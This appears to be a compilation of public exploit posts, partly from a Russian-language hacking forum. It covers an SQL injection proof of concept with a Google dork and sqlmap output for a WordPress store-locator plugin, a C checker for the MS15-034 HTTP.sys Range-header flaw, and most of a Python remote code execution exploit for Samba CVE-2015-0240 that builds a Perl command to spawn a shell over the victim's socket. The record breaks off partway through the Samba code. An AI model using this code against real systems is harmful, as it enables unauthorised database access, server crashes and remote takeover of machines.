# Vendor Homepage : http://codecanyon.net/item/ajax-store-locator-wordpress/5293356
 
# Software Link : Premium
 
# Dork Google: inurl:ajax-store-locator
#              index of ajax-store-locator      
 
# Date : 2015-03-29
 
# Tested on : Windows 7 / Mozilla Firefox
#             Linux / Mozilla Firefox
 
######################
 
# Info:
 
 The "sl_dal_searchlocation_cbf" ajax function is affected from SQL Injection vulnerability
  
 "StoreLocation" var is not sanitized
 
# PoC Exploit:
 
 http://TARGET/wordpress/wp-admin/admin-ajax.php?action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1 AND (SELECT * FROM (SELECT(SLEEP(10)))LCKZ)
  
 StoreLocation's value must contain "~" delimiter
  
 $storeLoc = $_REQUEST["StoreLocation"];
 ...
 ...
 $qryVal = explode("~", $storeLoc);
 $sql_query = "SELECT a.*,b.*, 0 as ......... LEFT JOIN `$sl_tb_pluginset` as b ON (1=1)  WHERE a.id=$qryVal[1]"
 
# PoC sqlmap:
 
 sqlmap -u "http://TARGET/wordpress/wp-admin/admin-ajax.php?action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1" -p StoreLocation --dbms mysql
 
 [18:24:11] [INFO] GET parameter 'StoreLocation' seems to be 'MySQL >= 5.0.12 AND time-based blind (SELECT)' injectable 
 for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] 
 [18:24:18] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
 [18:24:18] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
 [18:24:24] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns'
 [18:24:29] [INFO] checking if the injection point on GET parameter 'StoreLocation' is a false positive
 GET parameter 'StoreLocation' is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
 sqlmap identified the following injection points with a total of 89 HTTP(s) requests:
 ---
 Parameter: StoreLocation (GET)
     Type: AND/OR time-based blind
     Title: MySQL >= 5.0.12 AND time-based blind (SELECT)
     Payload: action=sl_dal_searchlocation&funMethod=SearchStore&Location=Social&StoreLocation=1~1 AND (SELECT * FROM (SELECT(SLEEP(5)))LCKZ)
 ---
 [18:29:48] [INFO] the back-end DBMS is MySQL
 web server operating system: Linux CentOS 5.10
 web application technology: PHP 5.3.3, Apache 2.2.3
 back-end DBMS: MySQL 5.0.12
Microsoft Window - HTTP.sys PoC (MS15-034)
ID: 67686ba3b4103b69df379d21
Thread ID: 25782
Created: 2015-04-16T12:04:16+0000
Last Post: 2015-04-16T12:55:43+0000
Author: DarckSol
Prefix: DoS
Replies: 1 Views: 1K

MS15-034: Уязвимость в HTTP.sys делает возможным удаленное выполнение кода: 14 апреля 2015 г.

Click to expand...

LinK

Code:Copy to clipboard

/*
 UNTESTED - MS15-034 Checker
    
 THE BUG:
  
    8a8b2112 56              push    esi
    8a8b2113 6a00            push    0
    8a8b2115 2bc7            sub     eax,edi
    8a8b2117 6a01            push    1
    8a8b2119 1bca            sbb     ecx,edx
    8a8b211b 51              push    ecx
    8a8b211c 50              push    eax
    8a8b211d e8bf69fbff      call    HTTP!RtlULongLongAdd (8a868ae1); here
  
    ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4
  
    BY: john.b.hale@gmai.com
    Twitter: @rhcp011235
*/
  
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h> 
  
int connect_to_server(char *ip)
{
    int sockfd = 0, n = 0;
  
     struct sockaddr_in serv_addr;
     struct hostent *server;
  
    if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
            printf("\n Error : Could not create socket \n");
            return 1;
        }
  
    memset(&serv_addr, '0', sizeof(serv_addr));
    serv_addr.sin_family = AF_INET;
        serv_addr.sin_port = htons(80);
    if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
        {
            printf("\n inet_pton error occured\n");
            return 1;
        }
    if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
        {
            printf("\n Error : Connect Failed \n");
            return 1;
        } 
  
    return sockfd;
}
      
  
int main(int argc, char *argv[])
{
    int n = 0;
    int sockfd;
    char recvBuff[1024];
  
    // Check server
    char request[] = "GET / HTTP/1.0\r\n\r\n";
  
    // our evil buffer
    char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
  
  
    if(argc != 2)
    {
        printf("\n Usage: %s <ip of server> \n",argv[0]);
        return 1;
    } 
  
    printf("[*] Audit Started\n");
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request, strlen(request)); 
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
  
    if (!strstr(recvBuff,"Microsoft"))
    {
        printf("[*] NOT IIS\n");
        exit(1);
    }
  
    sockfd = connect_to_server(argv[1]);
    write(sockfd, request1, strlen(request1));
    read(sockfd, recvBuff, sizeof(recvBuff)-1);
    if (strstr(recvBuff,"Requested Range Not Satisfiable"))
    {
                printf("[!!] Looks VULN\n");
                exit(1);
    } else if(strstr(recvBuff,"The request has an invalid header name")) {
    printf("[*] Looks Patched");
} else
    printf("[*] Unexpected response, cannot discern patch status");
      
  
          
  
}
Samba < 3.6.2 x86 Buffer Overflow PoC
ID: 67686ba3b4103b69df379d22
Thread ID: 25781
Created: 2015-04-16T07:56:01+0000
Last Post: 2015-04-16T07:56:01+0000
Author: krest
Prefix: DoS
Replies: 0 Views: 1K

Exploit for Samba vulnerabilty (CVE-2015-0240) by sleepya

Эксплоит работает только на уязвимых x86 smbd <3.6.24 в которых 'creds' контролируется полем ReferentID в PrimaryName (ServerName). Т.е. '_talloc_zero()' в libtalloc не записывает значение в 'creds' адресс памяти.

Доп. инфо:
_https://securityblog.redhat.com/2015/02/23/samba-vulnerability-cve-2015-0240

Code:Copy to clipboard

import sys
import time
from struct import pack,unpack
import argparse

import impacket
from impacket.dcerpc.v5 import transport, nrpc
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import WSTR


class Requester:
"""
put all smb request stuff into class. help my editor folding them
"""

# impacket does not implement NetrServerPasswordSet
# 3.5.4.4.6 NetrServerPasswordSet (Opnum 6)
class NetrServerPasswordSet(NDRCALL):
opnum = 6
structure = (
('PrimaryName',nrpc.PLOGONSRV_HANDLE),
('AccountName',WSTR),
('SecureChannelType',nrpc.NETLOGON_SECURE_CHANNEL_TYPE),
('ComputerName',WSTR),
('Authenticator',nrpc.NETLOGON_AUTHENTICATOR),
('UasNewPassword',nrpc.ENCRYPTED_NT_OWF_PASSWORD),
)
# response is authenticator (8 bytes) and error code (4 bytes)

# size of each field in sent packet
req_server_handle_size = 16
req_username_hdr_size = 4 + 4 + 4 + 2 # max count, offset, actual count, trailing null
req_sec_type_size = 2
req_computer_size = 4 + 4 + 4 + 2
req_authenticator_size = 8 + 2 + 4
req_new_pwd_size = 16
req_presize = req_server_handle_size + req_username_hdr_size + req_sec_type_size + req_computer_size + req_authenticator_size + req_new_pwd_size

samba_rpc_fragment_size = 4280
netlogon_data_fragment_size = samba_rpc_fragment_size - 8 - 24 # 24 is dcerpc header size

def __init__(self):
self.target = None
self.dce = None

sessionKey = '\x00'*16
# prepare ServerPasswordSet request
authenticator = nrpc.NETLOGON_AUTHENTICATOR()
authenticator['Credential'] = nrpc.ComputeNetlogonCredential('12345678', sessionKey)
authenticator['Timestamp'] = 10

uasNewPass = nrpc.ENCRYPTED_NT_OWF_PASSWORD()
uasNewPass['Data'] = '\x00'*16

self.serverName = nrpc.PLOGONSRV_HANDLE()
# ReferentID field of PrimaryName controls the uninitialized value of creds
self.serverName.fields['ReferentID'] = 0

self.accountName = WSTR()

request = Requester.NetrServerPasswordSet()
request['PrimaryName'] = self.serverName
request['AccountName'] = self.accountName
request['SecureChannelType'] = nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel
request['ComputerName'] = '\x00'
request['Authenticator'] = authenticator
request['UasNewPassword'] = uasNewPass
self.request = request

def set_target(self, target):
self.target = target

def set_payload(self, s, pad_to_size=0):
if pad_to_size > 0:
s += '\x00'*(pad_to_size-len(s))
pad_size = 0
if len(s) < (16*1024+1):
ofsize = (len(s)+self.req_presize) % self.netlogon_data_fragment_size
if ofsize > 0:
pad_size = self.netlogon_data_fragment_size - ofsize

self.accountName.fields['Data'] = s+'\x00'*pad_size+'\x00\x00'
self.accountName.fields['MaximumCount'] = None
self.accountName.fields['ActualCount'] = None
self.accountName.data = None # force recompute

set_accountNameData = set_payload

def get_dce(self):
if self.dce is None or self.dce.lostconn:
rpctransport = transport.DCERPCTransportFactory(r'ncacn_np:%s[\PIPE\netlogon]' % self.target)
rpctransport.set_credentials('','') # NULL session
rpctransport.set_dport(445)
# force to 'NT LM 0.12' only
rpctransport.preferred_dialect('NT LM 0.12')

self.dce = rpctransport.get_dce_rpc()
self.dce.connect()
self.dce.bind(nrpc.MSRPC_UUID_NRPC)
self.dce.lostconn = False
return self.dce

def get_socket(self):
return self.dce.get_rpc_transport().get_socket()

def force_dce_disconnect(self):
if not (self.dce is None or self.dce.lostconn):
self.get_socket().close()
self.dce.lostconn = True

def request_addr(self, addr):
self.serverName.fields['ReferentID'] = addr

dce = self.get_dce()
try:
dce.call(self.request.opnum, self.request)
answer = dce.recv()
return unpack("<IIII", answer)
except impacket.nmb.NetBIOSError as e:
if e.args[0] != 'Error while reading from remote':
raise
dce.lostconn = True
return None

# call with no read
def call_addr(self, addr):
self.serverName.fields['ReferentID'] = addr

dce = self.get_dce()
try:
dce.call(self.request.opnum, self.request)
return True
except impacket.nmb.NetBIOSError as e:
if e.args[0] != 'Error while reading from remote':
raise
dce.lostconn = True
return False

def force_recv(self):
dce = self.get_dce()
return dce.get_rpc_transport().recv(forceRecv=True)

def request_check_valid_addr(self, addr):
answers = self.request_addr(addr)
if answers is None:
return False # connection lost
elif answers[3] != 0:
return True # error, expected
else:
raise Error('Unexpected result')


# talloc constants
TALLOC_MAGIC = 0xe8150c70 # for talloc 2.0
TALLOC_FLAG_FREE = 0x01
TALLOC_FLAG_LOOP = 0x02
TALLOC_FLAG_POOL = 0x04
TALLOC_FLAG_POOLMEM = 0x08

TALLOC_HDR_SIZE = 0x30 # for 32 bit

flag_loop = TALLOC_MAGIC | TALLOC_FLAG_LOOP # for checking valid address

# Note: do NOT reduce target_payload_size less than 8KB. 4KB is too small buffer. cannot predict address.
TARGET_PAYLOAD_SIZE = 8192

########
# request helper functions
########

# only one global requester
requester = Requester()

def force_dce_disconnect():
requester.force_dce_disconnect()

def request_addr(addr):
return requester.request_addr(addr)

def request_check_valid_addr(addr):
return requester.request_check_valid_addr(addr)

def set_payload(s, pad_to_size=0):
requester.set_payload(s, pad_to_size)

def get_socket():
return requester.get_socket()

def call_addr(addr):
return requester.call_addr(addr)

def force_recv():
return requester.force_recv()

########
# find heap address
########

# only refs MUST be NULL, other never be checked
fake_chunk_find_heap = pack("<IIIIIIII",
0, 0, 0, 0, # refs
flag_loop, flag_loop, flag_loop, flag_loop,
)

def find_valid_heap_addr(start_addr, stop_addr, payload_size, first=False):
"""
below code can be used for checking valid heap address (no crash)

if (unlikely(tc->flags & TALLOC_FLAG_LOOP)) {
/* we have a free loop - stop looping */
return 0;
}
"""
global fake_chunk_find_heap
payload = fake_chunk_find_heap*(payload_size/len(fake_chunk_find_heap))
set_payload(payload)
addr_step = payload_size
addr = start_addr
i = 0
while addr > stop_addr:
if i == 16:
print(" [*]trying addr: {:x}".format(addr))
i = 0

if request_check_valid_addr(addr):
return addr
if first:
# first time, the last 16 bit is still do not know
# have to do extra check
if request_check_valid_addr(addr+0x10):
return addr+0x10
addr -= addr_step
i += 1
return None

def find_valid_heap_exact_addr(addr, payload_size):
global fake_chunk_find_heap
fake_size = payload_size // 2
while fake_size >= len(fake_chunk_find_heap):
payload = fake_chunk_find_heap*(fake_size/len(fake_chunk_find_heap))
set_payload(payload, payload_size)
if not request_check_valid_addr(addr):
addr -= fake_size
fake_size = fake_size // 2

set_payload('\x00'*16 + pack("<I", flag_loop), payload_size)
# because glibc heap is align by 8
# so the last 4 bit of address must be 0x4 or 0xc
if request_check_valid_addr(addr-4):
addr -= 4
elif request_check_valid_addr(addr-0xc):
addr -= 0xc
else:
print(" [-] bad exact addr: {:x}".format(addr))
return 0

print(" [*] checking exact addr: {:x}".format(addr))

if (addr & 4) == 0:
return 0

# test the address

# must be invalid (refs is AccountName.ActualCount)
set_payload('\x00'*12 + pack("<I", flag_loop), payload_size)
if request_check_valid_addr(addr-4):
print(' [-] request_check_valid_addr(addr-4) failed')
return 0
# must be valid (refs is AccountName.Offset)
# do check again if fail. sometimes heap layout is changed
set_payload('\x00'*8 + pack("<I", flag_loop), payload_size)
if not request_check_valid_addr(addr-8) and not request_check_valid_addr(addr-8) :
print(' [-] request_check_valid_addr(addr-8) failed')
return 0
# must be invalid (refs is AccountName.MaxCount)
set_payload('\x00'*4 + pack("<I", flag_loop), payload_size)
if request_check_valid_addr(addr-0xc):
print(' [-] request_check_valid_addr(addr-0xc) failed')
return 0
# must be valid (refs is ServerHandle.ActualCount)
# do check again if fail. sometimes heap layout is changed
set_payload(pack("<I", flag_loop), payload_size)
if not request_check_valid_addr(addr-0x10) and not request_check_valid_addr(addr-0x10):
print(' [-] request_check_valid_addr(addr-0x10) failed')
return 0

return addr

def find_payload_addr(start_addr, start_payload_size, target_payload_size):
print('[*] bruteforcing heap address...')

start_addr = start_addr & 0xffff0000

heap_addr = 0
while heap_addr == 0:
# loop from max to 0xb7700000 for finding heap area
# offset 0x20000 is minimum offset from heap start to recieved data in heap
stop_addr = 0xb7700000 + 0x20000
good_addr = None
payload_size = start_payload_size
while payload_size >= target_payload_size:
force_dce_disconnect()
found_addr = None
for i in range(3):
found_addr = find_valid_heap_addr(start_addr, stop_addr, payload_size, good_addr is None)
if found_addr is not None:
break
if found_addr is None:
# failed
good_addr = None
break
good_addr = found_addr
print(" [*] found valid addr ({:d}KB): {:x}".format(payload_size//1024, good_addr))
start_addr = good_addr
stop_addr = good_addr - payload_size + 0x20
payload_size //= 2

if good_addr is not None:
# try 3 times to find exact address. if address cannot be found, assume
# minimizing payload size is not correct. start minimizing again
for i in range(3):
heap_addr = find_valid_heap_exact_addr(good_addr, target_payload_size)
if heap_addr != 0:
break
force_dce_disconnect()

if heap_addr == 0:
print(' [-] failed to find payload adress')
# start from last good address + some offset
start_addr = (good_addr + 0x10000) & 0xffff0000
print('[*] bruteforcing heap adress again from {:x}'.format(start_addr))

payload_addr = heap_addr - len(fake_chunk_find_heap)
print(" [+] found payload addr: {:x}".format(payload_addr))
return payload_addr


########
# leak info
########

def addr2utf_prefix(addr):
def is_badchar(v):
return (v >= 0xd8) and (v <= 0xdf)

prefix = 0 # safe
if is_badchar((addr)&0xff) or is_badchar((addr>>16)&0xff):
prefix |= 2 # cannot have prefix
if is_badchar((addr>>8)&0xff) or is_badchar((addr>>24)&0xff):
prefix |= 1 # must have prefix
return prefix

def leak_info_unlink(payload_addr, next_addr, prev_addr, retry=True, call_only=False):
"""
Note:
- if next_addr and prev_addr are not zero, they must be writable address
because of below code in _talloc_free_internal()
if (tc->prev) tc->prev->next = tc->next;
if (tc->next) tc->next->prev = tc->prev;
"""
# Note: U+D800 to U+DFFF is reserved (also bad char for samba)
# check if '\x00' is needed to avoid utf16 badchar
prefix_len = addr2utf_prefix(next_addr) | addr2utf_prefix(prev_addr)
if prefix_len == 3:
return None # cannot avoid badchar
if prefix_len == 2:
prefix_len = 0

fake_chunk_leak_info = pack("<IIIIIIIIIIII",
next_addr, prev_addr, # next, prev
0, 0, # parent, children
0, 0, # refs, destructor
0, 0, # name, size
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
0, 0, 0, # pool, pad, pad
)
payload = '\x00'*prefix_len+fake_chunk_leak_info + pack("<I", 0x80000) # pool_object_count
set_payload(payload, TARGET_PAYLOAD_SIZE)
if call_only:
return call_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)

for i in range(3 if retry else 1):
try:
answers = request_addr(payload_addr + TALLOC_HDR_SIZE + prefix_len)
except impacket.dcerpc.v5.rpcrt.Exception:
print("impacket.dcerpc.v5.rpcrt.Exception")
answers = None
force_dce_disconnect()
if answers is not None:
# leak info must have next or prev address
if (answers[1] == prev_addr) or (answers[0] == next_addr):
break
#print('{:x}, {:x}, {:x}, {:x}'.format(answers[0], answers[1], answers[2], answers[3]))
answers = None # no next or prev in answers => wrong answer
force_dce_disconnect() # heap is corrupted, disconnect it

return answers

def leak_info_addr(payload_addr, r_out_addr, leak_addr, retry=True):
# leak by replace r->out.return_authenticator pointer
# Note: because leak_addr[4:8] will be replaced with r_out_addr
# only answers[0] and answers[2] are leaked
return leak_info_unlink(payload_addr, leak_addr, r_out_addr, retry)

def leak_info_addr2(payload_addr, r_out_addr, leak_addr, retry=True):
# leak by replace r->out.return_authenticator pointer
# Note: leak_addr[0:4] will be replaced with r_out_addr
# only answers[1] and answers[2] are leaked
return leak_info_unlink(payload_addr, r_out_addr-4, leak_addr-4, retry)

def leak_uint8t_addr(payload_addr, r_out_addr, chunk_addr):
# leak name field ('uint8_t') in found heap chunk
# do not retry this leak, because r_out_addr is guessed
answers = leak_info_addr(payload_addr, r_out_addr, chunk_addr + 0x18, False)
if answers is None:
return None
if answers[2] != TALLOC_MAGIC:
force_dce_disconnect()
return None

return answers[0]

def leak_info_find_offset(info):
# offset from pool to payload still does not know
print("[*] guessing 'r' offset and leaking 'uint8_t' address ...")
chunk_addr = info['chunk_addr']
uint8t_addr = None
r_addr = None
r_out_addr = None
while uint8t_addr is None:
# 0x8c10 <= 4 + 0x7f88 + 0x2044 - 0x13c0
# 0x9ce0 <= 4 + 0x7f88 + 0x10d0 + 0x2044 - 0x13c0
# 0xadc8 <= 4 + 0x7f88 + 0x10e8 + 0x10d0 + 0x2044 - 0x13c0
# 0xad40 is extra offset when no share on debian
# 0x10d38 is extra offset when only [printers] is shared on debian
for offset in (0x8c10, 0x9ce0, 0xadc8, 0xad40, 0x10d38):
r_addr = chunk_addr - offset
# 0x18 is out.authenticator offset
r_out_addr = r_addr + 0x18
print(" [*] try 'r' offset 0x{:x}, r_out addr: 0x{:x}".format(offset, r_out_addr))

uint8t_addr = leak_uint8t_addr(info['payload_addr'], r_out_addr, chunk_addr)
if uint8t_addr is not None:
print(" [*] success")
break
print(" [-] failed")
if uint8t_addr is None:
return False

info['uint8t_addr'] = uint8t_addr
info['r_addr'] = r_addr
info['r_out_addr'] = r_out_addr
info['pool_addr'] = r_addr - 0x13c0

print(" [+] text 'uint8_t' addr: {:x}".format(info['uint8t_addr']))
print(" [+] pool addr: {:x}".format(info['pool_addr']))

return True

def leak_sock_fd(info):
# leak sock fd from
# smb_request->sconn->sock
# (offset: ->0x3c ->0x0 )
print("[*] leaking socket fd ...")
info['smb_request_addr'] = info['pool_addr']+0x11a0
print(" [*] smb request addr: {:x}".format(info['smb_request_addr']))
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr']+0x3c-4)
if answers is None:
print(' [-] cannot leak sconn_addr address :(')
return None
force_dce_disconnect() # heap is corrupted, disconnect it
sconn_addr = answers[2]
info['sconn_addr'] = sconn_addr
print(' [+] sconn addr: {:x}'.format(sconn_addr))

# write in padding of chunk, no need to disconnect
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], sconn_addr)
if answers is None:
print('cannot leak sock_fd address :(')
return None
sock_fd = answers[1]
print(' [+] sock fd: {:d}'.format(sock_fd))
info['sock_fd'] = sock_fd
return sock_fd

def leak_talloc_pop_addr(info):
# leak destructor talloc_pop() address
# overwrite name field, no need to disconnect
print('[*] leaking talloc_pop address')
answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], info['pool_addr'] + 0x14)
if answers is None:
print(' [-] cannot leak talloc_pop() address :(')
return None
if answers[2] != 0x2010: # chunk size must be 0x2010
print(' [-] cannot leak talloc_pop() address. answers[2] is wrong :(')
return None
talloc_pop_addr = answers[0]
print(' [+] talloc_pop addr: {:x}'.format(talloc_pop_addr))
info['talloc_pop_addr'] = talloc_pop_addr
return talloc_pop_addr

def leak_smbd_server_connection_handler_addr(info):
# leak address from
# smbd_server_connection.smb1->fde ->handler
# (offset: ->0x9c->0x14 )
# MUST NOT disconnect after getting smb1_fd_event address
print('[*] leaking smbd_server_connection_handler address')
def real_leak_conn_handler_addr(info):
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['sconn_addr'] + 0x9c)
if answers is None:
print(' [-] cannot leak smb1_fd_event address :(')
return None
smb1_fd_event_addr = answers[1]
print(' [*] smb1_fd_event addr: {:x}'.format(smb1_fd_event_addr))

answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], smb1_fd_event_addr+0x14)
if answers is None:
print(' [-] cannot leak smbd_server_connection_handler address :(')
return None
force_dce_disconnect() # heap is corrupted, disconnect it
smbd_server_connection_handler_addr = answers[0]
diff = info['talloc_pop_addr'] - smbd_server_connection_handler_addr
if diff > 0x2000000 or diff < 0:
print(' [-] get wrong smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
smbd_server_connection_handler_addr = None
return smbd_server_connection_handler_addr

smbd_server_connection_handler_addr = None
while smbd_server_connection_handler_addr is None:
smbd_server_connection_handler_addr = real_leak_conn_handler_addr(info)

print(' [+] smbd_server_connection_handler addr: {:x}'.format(smbd_server_connection_handler_addr))
info['smbd_server_connection_handler_addr'] = smbd_server_connection_handler_addr

return smbd_server_connection_handler_addr

def find_smbd_base_addr(info):
# estimate smbd_addr from talloc_pop
if (info['talloc_pop_addr'] & 0xf) != 0 or (info['smbd_server_connection_handler_addr'] & 0xf) != 0:
# code has no alignment
start_addr = info['smbd_server_connection_handler_addr'] - 0x124000
else:
start_addr = info['smbd_server_connection_handler_addr'] - 0x130000
start_addr = start_addr & 0xfffff000
stop_addr = start_addr - 0x20000

print('[*] finding smbd loaded addr ...')
while True:
smbd_addr = start_addr
while smbd_addr >= stop_addr:
if addr2utf_prefix(smbd_addr-8) == 3:
# smbd_addr is 0xb?d?e000
test_addr = smbd_addr - 0x800 - 4
else:
test_addr = smbd_addr - 8
# test writable on test_addr
answers = leak_info_addr(info['payload_addr'], 0, test_addr, retry=False)
if answers is not None:
break
smbd_addr -= 0x1000 # try prev page
if smbd_addr > stop_addr:
break
print(' [-] failed. try again.')

info['smbd_addr'] = smbd_addr
print(' [+] found smbd loaded addr: {:x}'.format(smbd_addr))

def dump_mem_call_addr(info, target_addr):
# leak pipes_struct address from
# smbd_server_connection->chain_fsp->fake_file_handle->private_data
# (offset: ->0x48 ->0xd4 ->0x4 )
# Note:
# - MUST NOT disconnect because chain_fsp,fake_file_handle,pipes_struct address will be changed
# - target_addr will be replaced with current_pdu_sent address
# check read_from_internal_pipe() in source3/rpc_server/srv_pipe_hnd.c
print(' [*] overwrite current_pdu_sent for dumping memory ...')
answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], info['smb_request_addr'] + 0x48)
if answers is None:
print(' [-] cannot leak chain_fsp address :(')
return False
chain_fsp_addr = answers[1]
print(' [*] chain_fsp addr: {:x}'.format(chain_fsp_addr))

answers = leak_info_addr(info['payload_addr'], info['r_out_addr'], chain_fsp_addr+0xd4, retry=False)
if answers is None:
print(' [-] cannot leak fake_file_handle address :(')
return False
fake_file_handle_addr = answers[0]
print(' [*] fake_file_handle addr: {:x}'.format(fake_file_handle_addr))

answers = leak_info_addr2(info['payload_addr'], info['r_out_addr'], fake_file_handle_addr+0x4-0x4, retry=False)
if answers is None:
print(' [-] cannot leak pipes_struct address :(')
return False
pipes_struct_addr = answers[2]
print(' [*] pipes_struct addr: {:x}'.format(pipes_struct_addr))

current_pdu_sent_addr = pipes_struct_addr+0x84
print(' [*] current_pdu_sent addr: {:x}'.format(current_pdu_sent_addr))
# change pipes->out_data.current_pdu_sent to dump memory
return leak_info_unlink(info['payload_addr'], current_pdu_sent_addr-4, target_addr, call_only=True)

def dump_smbd_find_bininfo(info):
def recv_till_string(data, s):
pos = len(data)
while True:
data += force_recv()
if len(data) == pos:
print('no more data !!!')
return None
p = data.find(s, pos-len(s))
if p != -1:
return (data, p)
pos = len(data)
return None

def lookup_dynsym(dynsym, name_offset):
addr = 0
i = 0
offset_str = pack("<I", name_offset)
while i < len(dynsym):
if dynsym[i:i+4] == offset_str:
addr = unpack("<I", dynsym[i+4:i+8])[0]
break
i += 16
return addr

print('[*] dumping smbd ...')
dump_call = False
# have to minus from smbd_addr because code section is read-only
if addr2utf_prefix(info['smbd_addr']-4) == 3:
# smbd_addr is 0xb?d?e000
dump_addr = info['smbd_addr'] - 0x800 - 4
else:
dump_addr = info['smbd_addr'] - 4
for i in range(8):
if dump_mem_call_addr(info, dump_addr):
mem = force_recv()
if len(mem) == 4280:
dump_call = True
break
print(' [-] dump_mem_call_addr failed. try again')
force_dce_disconnect()
if not dump_call:
print(' [-] dump smbd failed')
return False

print(' [+] dump success. getting smbd ...')
# first time, remove any data before \7fELF
mem = mem[mem.index('\x7fELF'):]

mem, pos = recv_till_string(mem, '\x00__gmon_start__\x00')
print(' [*] found __gmon_start__ at {:x}'.format(pos+1))

pos = mem.rfind('\x00\x00', 0, pos-1)
dynstr_offset = pos+1
print(' [*] found .dynstr section at {:x}'.format(dynstr_offset))

dynstr = mem[dynstr_offset:]
mem = mem[:dynstr_offset]

# find start of .dynsym section
pos = len(mem) - 16
while pos > 0:
if mem[pos:pos+16] == '\x00'*16:
break
pos -= 16 # sym entry size is 16 bytes
if pos <= 0:
print(' [-] found wrong .dynsym section at {:x}'.format(pos))
return None
dynsym_offset = pos
print(' [*] found .dynsym section at {:x}'.format(dynsym_offset))
dynsym = mem[dynsym_offset:]

# find sock_exec
dynstr, pos = recv_till_string(dynstr, '\x00sock_exec\x00')
print(' [*] found sock_exec string at {:x}'.format(pos+1))
sock_exec_offset = lookup_dynsym(dynsym, pos+1)
print(' [*] sock_exec offset {:x}'.format(sock_exec_offset))

#info['mem'] = mem # smbd data before .dynsym section
info['dynsym'] = dynsym
info['dynstr'] = dynstr # incomplete section
info['sock_exec_addr'] = info['smbd_addr']+sock_exec_offset
print(' [+] sock_exec addr: {:x}'.format(info['sock_exec_addr']))

# Note: can continuing memory dump to find ROP

force_dce_disconnect()

########
# code execution
########
def call_sock_exec(info):
prefix_len = addr2utf_prefix(info['sock_exec_addr'])
if prefix_len == 3:
return False # too bad... cannot call
if prefix_len == 2:
prefix_len = 0
fake_talloc_chunk_exec = pack("<IIIIIIIIIIII",
0, 0, # next, prev
0, 0, # parent, child
0, # refs
info['sock_exec_addr'], # destructor
0, 0, # name, size
TALLOC_MAGIC | TALLOC_FLAG_POOL, # flag
0, 0, 0, # pool, pad, pad
)
chunk = '\x00'*prefix_len+fake_talloc_chunk_exec + info['cmd'] + '\x00'
set_payload(chunk, TARGET_PAYLOAD_SIZE)
for i in range(3):
if request_check_valid_addr(info['payload_addr']+TALLOC_HDR_SIZE+prefix_len):
print('waiting for shell :)')
return True
print('something wrong :(')
return False

########
# start work
########

def check_exploitable():
if request_check_valid_addr(0x41414141):
print('[-] seems not vulnerable')
return False
if request_check_valid_addr(0):
print('[+] seems exploitable :)')
return True

print("[-] seems vulnerable but I cannot exploit")
print("[-] I can exploit only if 'creds' is controlled by 'ReferentId'")
return False

def do_work(args):
info = {}

if not (args.payload_addr or args.heap_start or args.start_payload_size):
if not check_exploitable():
return

start_size = 512*1024 # default size with 512KB
if args.payload_addr:
info['payload_addr'] = args.payload_addr
else:
heap_start = args.heap_start if args.heap_start else 0xb9800000+0x30000
if args.start_payload_size:
start_size = args.start_payload_size * 1024
if start_size < TARGET_PAYLOAD_SIZE:
start_size = 512*1024 # back to default
info['payload_addr'] = find_payload_addr(heap_start, start_size, TARGET_PAYLOAD_SIZE)

# the real talloc chunk address that stored the raw netlogon data
# serverHandle 0x10 bytes. accountName 0xc bytes
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
print("[+] chunk addr: {:x}".format(info['chunk_addr']))

while not leak_info_find_offset(info):
# Note: do heap bruteforcing again seems to be more effective
# start from payload_addr + some offset
print("[+] bruteforcing heap again. start from {:x}".format(info['payload_addr']+0x10000))
info['payload_addr'] = find_payload_addr(info['payload_addr']+0x10000, start_size, TARGET_PAYLOAD_SIZE)
info['chunk_addr'] = info['payload_addr'] - 0x1c - TALLOC_HDR_SIZE
print("[+] chunk addr: {:x}".format(info['chunk_addr']))

got_fd = leak_sock_fd(info)

# create shell command for reuse sock fd
cmd = "perl -e 'use POSIX qw(dup2);$)=0;$>=0;" # seteuid, setegid
cmd += "dup2({0:d},0);dup2({0:d},1);dup2({0:d},2);".format(info['sock_fd']) # dup sock
# have to kill grand-grand-parent process because sock_exec() does fork() then system()
# the smbd process still receiving data from socket
cmd += "$z=getppid;$y=`ps -o ppid= $z`;$x=`ps -o ppid= $y`;kill 15,$x,$y,$z;" # kill parents
cmd += """print "shell ready\n";exec "/bin/sh";'""" # spawn shell
info['cmd'] = cmd

# Note: cannot use system@plt because binary is PIE and chunk dtor is called in libtalloc.
# the ebx is not correct for resolving the system address
smbd_info = {
0x5dd: { 'uint8t_offset': 0x711555, 'talloc_pop': 0x41a890, 'sock_exec': 0x0044a060, 'version': '3.6.3-2ubuntu2 - 3.6.3-2ubuntu2.3'},
0xb7d: { 'uint8t_offset': 0x711b7d, 'talloc_pop': 0x41ab80, 'sock_exec': 0x0044a380, 'version': '3.6.3-2ubuntu2.9'},
